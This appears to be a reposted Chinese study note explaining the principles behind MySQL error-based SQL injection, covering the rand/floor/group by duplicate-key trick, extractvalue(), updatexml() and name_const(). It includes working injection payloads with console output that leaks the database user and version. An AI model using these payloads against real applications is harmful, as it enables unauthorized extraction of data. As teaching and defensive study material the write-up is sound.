MySQL 常用報錯注入原理分析


簡介

這段時間學習SQL盲注中的報錯注入,發現語句就是那么兩句,但是一直不知道報錯原因,所以看着別人的帖子學習一番,小本本記下來

(1) count() , rand() , group by

1.報錯語句構造

  先直接上兩個網上經常使用的報錯語句,主要分析第一條,第二條是簡化后的

 select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

可以看出兩個句子的原理都是相同的

2.rand() floor()函數

  我們現在從最里向外分析整條語句.先從floor(rand(0)*2) 開始

  • rand()函數會隨機產生[0,1)之間的浮點數.
  • rand()函數可以自己設置隨機種子,即rand(N),這個時候產生的隨機數是偽隨機數.也就是我們多次生成的是相同的.
  • floor(N)函數會返回一個小於或等於傳入參數N的最大整數(相當於截斷小數部分)

  先來看一下rand()不設置隨機種子的情況.

  

  可以看出來,連續執行兩次的結果是完全不同的.再來看一下設置隨機種子后,rand函數的值

  自己可以試一試,多次重復的值是相同的,而這里也是整個報錯語句的關鍵.先加下前6位是 011011

3 concat()函數 0x3a的作用 別名a

  • concat()函數將字符串會將字符串拼接起來
  • 0x3a的ASCII碼是 : 主要是用來分隔其他字符串,讓人可以快速定位重要信息
  • 在括號后面有一個a是別名的意思,是as a的簡寫.它是前面語句的另一個名字,主要是為了減少重復出現復雜語句

4. group by 與 count()

  • group by a  會根據a的規則對數據進行分組,而分組的時候,mysql會建立一個臨時空表進行分組.
  • count()聚散函數,會進行計數

5.報錯分析

   報錯的原因是因為rand()函數在查詢的時候會執行一次,插入的時候還會執行一次.這就是整個語句報錯的關鍵

前面說過floor(rand(0)*2) 前六位是011011. group by a先建立一個空表,用於分組.然后進行分組查詢,第一次rand()執行,查詢的結果是

0,因為是空表所以插入這條,而插入的時候rand()又執行了一次,所以表中的結果就是

第一次執行完,接着執行rand()的值為1,因為表中存在,所以加1,表中結果成為

到了第三次執行rand()是值為0,因為表中不存在所以要插入新的數據,這次插入rand()再次執行,所以插入的又是1.而表中已經存在1了

此時插入因為重復出現同一個key,就會出現報錯 重復出現key.而報錯中會說明那個key有問題,我們的key中結合了想要了解的字符串root@localhost

這樣就實現了報錯注入,拿到了自己想要的數據

這就是整個報錯注入的原理了,rand(),floor() group by 函數缺一不可.

(2) XML函數之ExtractValue()

1.報錯語句構造

select extractvalue(1,concat(0x7e,user(),0x7e))
1 mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
2 ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

2.ExtractValue()函數

  • ExtractValue(xml_str , Xpath) 函數,使用Xpath表示法從XML格式的字符串中提取一個值
  • ExtractValue()函數中任意一個參數為NULL,返回值都是NULL.
1 mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c');
2 +-----------------------------------------------------------------------+
3 | extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c') |
4 +-----------------------------------------------------------------------+
5 | accc                                                                  |
6 +-----------------------------------------------------------------------+
1 mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL);
2 +---------------------------------------------------------------------+
3 | extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL) |
4 +---------------------------------------------------------------------+
5 | NULL                                                                |
6 +---------------------------------------------------------------------+

3.報錯分析

  上面說明了正常情況下的extractvalue函數使用方法,Xpath語法可以自行google.但是如果我們構造了

不符合規定的Xpath,MySQL就會報語法錯誤,並顯示XPath的內容.

  但是什么樣子的字符串會引發報錯呢.

  發現報錯竟然消失了一部分,前面的root不見了.因為XPATH語法報錯的是那些特殊字符,遇到特殊字符就會報錯.

所以0x7e,ASCII碼是~ 就會從頭開始報錯.

  可以看出來報錯會從遇到的第一個特殊字符處開始報錯.直到結束.但是報錯的長度是有限制的.如下圖應該出現

字符串最后並沒全部顯示出來,而是后面的字符串被截斷了.

(3)XML函數之updatexml()

1.報錯語句

select updatexml(1,concat(0x7e,version(),0x7e),1) 
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.19~'

2.updatexml()函數

  updatexml(xml,xpath,new_xml),此函數使用nex_xml根據xpath來替換xml字符串中特定的值.和上面的道理是相同的,都是通過xpath語法

錯誤來報錯.原來也和上面的相同.不再具體描述.

(4) name_const() 重復報錯(不推薦)

1.報錯語句構造

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
1 mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
2 ERROR 1060 (42S21): Duplicate column name '5.7.19'

2.name_const()函數 

  name_const(name,value)函數會用傳入的參數返回一列結果集.傳入的參數必須是常量

1 mysql> SELECT NAME_CONST('myname', 14);
2 +--------+
3 | myname |
4 +--------+
5 |     14 |
6 +--------+

  如果傳入的參數不是常量,就會報錯.

1 mysql> select name_const(database(),1);
2 ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

3.報錯分析

   報錯原因就是因為兩列列名相同,外面選擇時候報錯,說重復列.

1 mysql> select name_const(version(),1),name_const(version(),1);
2 +--------+--------+
3 | 5.7.19 | 5.7.19 |
4 +--------+--------+
5 |      1 |      1 |
6 +--------+--------+
7 1 row in set (0.00 sec)

  然而個人認為這個報錯注入很雞肋,沒有多大用,嘗試了一下只用version()函數可以使用,其他可能因為不是常量的原因.

name_const()函數會報參數錯誤的錯誤,不會回顯想要的信息.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM